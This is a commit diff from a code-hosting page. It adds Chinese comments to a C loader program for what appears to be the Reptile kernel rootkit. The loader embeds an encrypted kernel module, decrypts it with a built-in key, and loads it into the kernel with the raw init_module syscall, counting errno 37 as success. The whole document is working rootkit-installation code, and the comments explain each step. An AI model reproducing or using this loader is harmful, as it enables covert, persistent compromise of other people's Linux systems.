shou_gan_mian 2 months ago
commit 33a515b746

@ -11,27 +11,37 @@
#include "encrypt.h"
// 定义一个字符数组,用于存储加密的内核模块数据
static char reptile_blob[] = {
#include "reptile.ko.inc"
};
// 定义init_module函数用于加载内核模块
#define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values)
int main(void)
{
int ret = EXIT_FAILURE;
size_t len;
void *module_image;
int ret = EXIT_FAILURE;
size_t len;
void *module_image;
len = sizeof(reptile_blob);
do_decrypt(reptile_blob, len, DECRYPT_KEY);
module_image = malloc(len);
memcpy(module_image, reptile_blob, len);
init_module(module_image, len, "");
// 获取内核模块数据的长度
len = sizeof(reptile_blob);
// 对内核模块数据进行解密
do_decrypt(reptile_blob, len, DECRYPT_KEY);
// 分配内存用于加载内核模块
module_image = malloc(len);
// 将解密后的内核模块数据复制到分配的内存中
memcpy(module_image, reptile_blob, len);
// 加载内核模块
init_module(module_image, len, "");
if (errno == 37)
ret = EXIT_SUCCESS;
// 检查加载结果如果errno为37表示加载成功
if (errno == 37)
ret = EXIT_SUCCESS;
free(module_image);
return ret;
}
// 释放分配的内存
free(module_image);
// 返回加载结果
return ret;
}
Loading…
Cancel
Save